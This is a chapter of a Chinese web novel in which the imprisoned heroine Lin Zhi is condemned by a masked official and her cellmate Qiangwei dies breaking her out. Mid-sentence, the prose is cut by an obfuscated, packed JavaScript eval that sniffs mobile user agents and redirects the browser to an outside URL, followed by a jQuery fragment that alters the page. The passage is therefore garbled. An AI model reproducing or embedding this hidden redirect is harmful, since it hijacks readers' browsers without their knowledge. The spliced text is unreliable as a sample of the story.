52. 第 52 章
作品:《大梁第一反赌司女官》 等待日子总是煎熬的,监狱的伙食比不得外面,林芷肉眼可见得消瘦下去。
“这下可真的瘦了。”蔷薇和林芷并坐在床边,捏了捏她胳膊上的肉,“都只剩一层皮了,还记得你前些日子还不是这样。”
“苗条点,好看。”林芷扯出个笑脸,处境都已经这么难了,总要为自己和同伴找些乐子不是。
林芷目光突然落在蔷薇发红的指节:“姐,你的手怎么了?”
蔷薇飞速把手藏在身后,扯唇笑道:“没事。”
就在林芷觉得奇怪的时候,囚房外出现了一道熟悉的身影。
迟迟不见的狱长此时终于现身,林芷收起了笑容,坐直了身子。
狱长让狱卒解开了门锁,声音冷冽道:“大人有请。”
林芷从床铺下来。
终于来了。
她踏出那扇牢门,和狱长一同走了出去。
当再次踏入阴森房间,面对那个戴面具的男人时,林芷小臂仍不由得起了一层细密的疙瘩。
“这些日子,过得还好吗?”
男人嗓音很低,宛如冰冷洞穴里的毒蛇滑过。
“托您的福——”林芷坐下,抬眼与那面具后的眼睛对视,个别字眼特意加重语气道,“在这里吃的好,睡得好,就是有点无聊了些。”
“哦?”青蚨没想到她会说这话,目光露出诧异。
“您让我和那些人打牌,我做了,可这些未免也太简单了。”林芷装作不屑地冷笑一声,“特别是第一个人,我明明找到应对之法了,可他却中途认输,青蚨大人,您说这算什么事儿。”
青蚨失笑,摇了摇头:“看来林姑娘本事不小,此人据我所知,曾经可是颇具名气的赌王,我也没想到,却只是个弃甲曳兵的懦夫。”
林芷用指节轻轻敲了敲椅子的把手,道:“这第二个人,青蚨大人,莫不是在拿我玩笑,还是说……你在试探我会不会心软?”
青蚨身体微微后仰,抬手来来回回摸着下巴,眯起了那双颇具精明的眼睛。
林芷知道对方在给她施加压迫感,强自镇定道:“可大人莫不是忘记了,我只是一个阶下囚,想要活下去除了服从,根本没有其他选择,所以,这就是你合作的态度?”
“你很有想法,所以我一直很欣赏你。”青蚨阴阴地笑了下,“放眼整个大梁,能与林姑娘胆识相匹的女子,我敢说没有几人,但是……”
空气仿佛凝固住,青蚨的后半句话连同林芷的呼吸一同滞住,林芷望进他眼底,看到的却是一片深不可测暗流涌动的深海。
冷汗从林芷的鬓发间落下,林芷喉头紧张地滚动了一下。
青蚨眼眸闪了一下,挪开了视线,语句缓缓说完了剩下的半句话:“但是,我觉得……你不会是我们的人。”
门突然从外被大力推开,同刺眼阳光一同照进林芷眼中的,还有几位刀尖寒芒闪烁的狱卒。
眼见着他们朝自己冲来,林芷蹭地从位置上站起来:“青蚨!你这是何意!”
“我本以为,你很年轻,可以为我们所用。”青蚨身体斜靠在椅上,用手支起太阳穴,见少女被那些狱卒控制住,神情一下变得悲悯,“现在看来,是我想错了。”
林芷开始挣扎,但过大体型差距让她终究敌不过那些身强力壮的狱卒,挣扎的效果甚微,便只能依靠言语来进攻:“大人这话说得,我本有意想跟随大人,若不是你先以人命为要挟,再加上大人这些毫无意义的对局,我岂不会对你产生怀疑,换作是你,不会如此吗?”
“我会。”青蚨长吁一声道,“但是一个狼群里,只要有一个头狼就够了,剩下的,只是对狼王俯首称臣的狗罢了。”
青蚨起身拂袖:“带她下去,杀了吧。”
“是。”
狱卒领命,粗暴地架着林芷往外走。林芷咬着牙挣扎着,几乎要把后槽牙咬碎,却也没能从他们的钳制中挣脱。
狱卒带着她回到了那个阴暗潮湿的牢狱,那阴冷的感觉林芷感觉自己每一寸汗毛都在发抖。
是的,她已经是死过一次的人了,但当自己又一次面对死亡的时候,她还是控制不住内心的恐惧。
“林姑娘?林姑娘!”
当林芷被押经自己与蔷薇的囚室时,听见了她焦急地呼唤声,林芷有些迟钝地追着声音的来源望去。
一时间诸多话语哽在林芷喉咙口,最后只化为三个字。
“再见了。”
蔷薇的瞳孔慢慢扩散,忽然,她眉间一狠,也不知哪来的力气,一遍一遍撞向牢门。
“嘿,这娘们在发什么疯呢!”
狱卒们听见牢门发出巨响,纷纷驻足,正想上前呵斥她,却见蔷薇眉目狰狞,想不要命一样,用尽全身力气再次撞向那锈蚀铁锁与门框的连接处,只听“咔嚓”一声脆响,不知何时有些松动的锁链竟真的被她撞断了!
他们眼球微凸,瞳孔颤出震惊。
不是,这铁门是一个女子能撞开的吗?
还没等他们反应过来,就见蔷薇已经火急火燎地冲了过来。
狱卒皱眉迎上去,同样不可置信的还有林芷,她看向地面撞断的锁链,看见上面磨损的痕迹,突然明白过来什么。
“别来!”林芷对着冲过来的蔷薇喊道,“快回去!”
但蔷薇好像听不见一般,义无反顾地往前,即使面前是尖刀林立,但她也浑然不怕,只是往林芷的方向奔来。
刀尖刺破她的衣裳,鲜血从伤口处流出,将她的身体瞬间染红。
——这女人一定是疯了。
所有狱卒脑内第一反应便是这句话,他们被迫后退几步,也不知是谁第一个收了刀,其他人也跟着收了刀
几人十分默契地交换了眼神,赤手空拳冲了上去。
蔷薇见状,突然仰天大笑几声,随即眼神转冷:“你们休想擒住我!”
她看见身旁有个狱卒还拿着刀,对方注意到她的视线,将手中的刀握紧,刀尖威胁似地往前送了送。
本想以此能逼退她,但他错了,因为对方本就冲着他的刀尖而来。
当狱卒意识到这点的时候,已经晚了。
刀刃贯穿蔷薇的胸膛,顷刻有朱红的液体从她心口蔓延开来,像一朵绽开在她胸前的血花。
距离不远的少女起先是满脸的空白。
仿佛在那一刻,全世界彻底安静了。
当看着血刀拔出,刺目的鲜红浸透视野,那抹单薄的身影像断了线的风筝般坠下去,她的表情终于有了变化。
巨大的悲恸如海啸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16037676|168974||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
山崩瞬间击穿了她,林芷更不知道自己是哪里来的力气,挣脱开了那双钳制住她的、粗壮的手臂。
她几乎是踉跄地朝那飘然落地的红色奔去,膝盖重重砸在地面,双手颤抖地去捂住她胸口源源不断涌出的鲜血,但皆如微石落海,毫无所用。
“我终于……”
在被泪水淹没的赤色世界里,林芷模糊地看见蔷薇的嘴一张一翕,好像断断续续说着什么。
林芷连忙俯身去听。
“终于……自由了。”
林芷强压着呜咽了一声,泪眼中,她看见蔷薇嘴角微微扬起,似乎在笑。
“好好……活下去。”
鲜血从蔷薇嘴角不断溢出,她缓缓抬起手,想去触摸面前女孩的脸。
刹那间,无数人生过往的画面从蔷薇眼前闪过。
从幼时被父母狠心抛弃,到千金阁的风尘迷醉,再到黑暗牢狱中的苟且偷生……最后停留的,是那一夜,少女语气坚定地告诉她:“我们会活着出去的。”
“……对不起。”
蔷薇向上的手最后坠落下去,一同坠落的,还有她眼中的光,变为暗淡的、象征死亡的灰白。
“不!!!”
林芷几乎是咆哮着吼出这一句,一种前所未有的哀伤将她迅速淹没,她感觉自己整个人像溺在最深的海底,一瞬间耳膜轰鸣,四肢灌铅般沉重,喉咙被扼住一般,整个人窒息到快要失去意识。
她跪坐在血泊中,掌心黏稠的温热渐渐冰冷。
她再次张嘴,却发不出任何声音,唯有滚烫的液体不断砸在蔷薇逐渐冰冷的面颊上。那夜“一起活着出去”的承诺,此刻化作无数尖针,随着每次呼吸扎进她的肺腑。
后面那些狱卒怎么将她们分开,又说了哪些话,又如何被她带回囚房,林芷事后回想起来都没一点印象了。
因为她此刻大脑只被一件事占据,那就是——
蔷薇死了。
回到囚房后,大概是方才把所有的泪流完了,林芷没哭,只是呆滞地坐在床边,也不躺下,也不动,像一个风干的雕塑。
囚房外,同样心情复杂的还有姗姗来迟的狱长。
“怎么办,死了一个,本来替罪的人就不够,这下该如何是好……”
听完下属的汇报,他神情凝重,沉默了一会,才开了口。
“就让她去替吧。”
狱长看向牢里形单影只的少女,长叹一口气道:“既然大人没说让她怎么死,那替罪而死,也算一种死法。”
外部最后的声音被脚步声所带走,周遭突然一片寂静下来。
林芷蜷起腿,手指用力,将膝盖上的衣布抓紧。她的指间还有血,很快将裙子染红。
她忽然想起十几天前,自己刚来这里时,踌躇满志不知天高地厚,坚信能和这些恶人们周旋,就像之前的闱姓案一样。
结果呢,却只能眼睁睁看着想要守护之人惨死在自己眼前,自己却无能为力。
林芷发出几声比哭还难听的苦笑,她觉得自己真是……愚蠢至极。
此时窗外风声四起,吹动树叶沙沙作响,她将脸埋在胳膊里,心底无比悲凉。
铁窗外,夜孤寒……
冷月清辉犹似旧,却再无……故人影相依。